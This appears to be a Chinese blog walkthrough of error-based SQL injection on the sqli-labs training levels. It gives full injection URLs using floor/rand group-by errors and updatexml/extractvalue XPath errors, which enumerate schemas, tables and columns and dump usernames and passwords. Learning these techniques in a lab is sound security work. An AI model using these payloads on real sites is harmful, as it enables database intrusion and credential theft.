sql libs报错注入

简介: sql libs报错注入

sql libs报错注入

floor()函数:小数向下取整

第1关

爆数据
http://www.guiltyfet.com/sqli/Less-1/?id=1' union select null,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a  --+

查询表明
http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查列名
http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查字段
http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select password from users limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

第2关

http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20and%201=1

http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20and%201=2时不回显

判断字段

http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20order%20by%204;–+

为4时不会显

爆数据库
http://www.guiltyfet.com/sqli/Less-2/?id=1%20 union select 1,count(*),concat((select database()),floor(rand()*2))a from information_schema.columns group by a -- -

爆表
http://www.guiltyfet.com/sqli/Less-2/?id=1%20 union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))a from information_schema.columns group by a -- -

extractvalue函数

一、extractvalue函数

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue(‘’, ‘/a/b’); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

updatexml更新xml文档的函数

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下:

SET @xml = '<a><b><c>w</c><b>x</b><d>y</d>z</b></a>';
SELECT @xml;
SELECT ExtractValue(@xml, '//b[1]');

https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

第5关

http://www.guiltyfet.com/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+

select语句继续获取数据库中的库名、表名和字段名。查询语句与union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句限制查询结果,或者使用group_concat函数将查询结果打印在一行显示。

获取其他数据库的库名
http://www.guiltyfet.com/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),0x7e),1)--+

获取当前数据库的表名
可以使用limit一个一个查询
http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+

也可以使用group_concat(table_name)一次性查询出所有的表名
http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

获取users表的字段名

http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

获取users表的内容

http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

第6关

只需要将 ’ 替换成 "

http://www.guiltyfet.com/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+

SELECT ExtractValue(‘’, ‘/a/b’);

相关文章
|
2月前
|
SQL 关系型数据库 MySQL
这样的SQL执行为什么不会报错?optimizer_trace深度历险
【10月更文挑战第12天】本文探讨了一条看似错误但实际上能成功执行的SQL语句,通过开启MySQL的优化器追踪功能,详细分析了SQL的执行过程,揭示了子查询被优化器解析为连接操作的原因,最终解释了为何该SQL不会报错。文章不仅增进了对SQL优化机制的理解,也展示了如何利用优化器追踪解决实际问题。
|
3月前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
114 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
3月前
|
SQL 数据库
SQL解析相关报错
SQL解析相关报错
49 5
|
4月前
|
XML SQL 数据格式
XML动态sql查询当前时间之前的信息报错
XML动态sql查询当前时间之前的信息报错
58 2
|
4月前
|
SQL 分布式计算 DataWorks
DataWorks操作报错合集之新建项目的元数据的sql报错,如何解决
DataWorks是阿里云提供的一站式大数据开发与治理平台,支持数据集成、数据开发、数据服务、数据质量管理、数据安全管理等全流程数据处理。在使用DataWorks过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
|
1月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
59 2
|
2月前
|
SQL 关系型数据库 MySQL
|
3月前
|
关系型数据库 MySQL Nacos
nacos启动报错 load derby-schema.sql error
这篇文章描述了作者在使用Nacos时遇到的启动错误,错误提示为加载derby-schema.sql失败,作者通过将数据库从Derby更换为MySQL解决了问题。
nacos启动报错 load derby-schema.sql error
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
143 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
86 5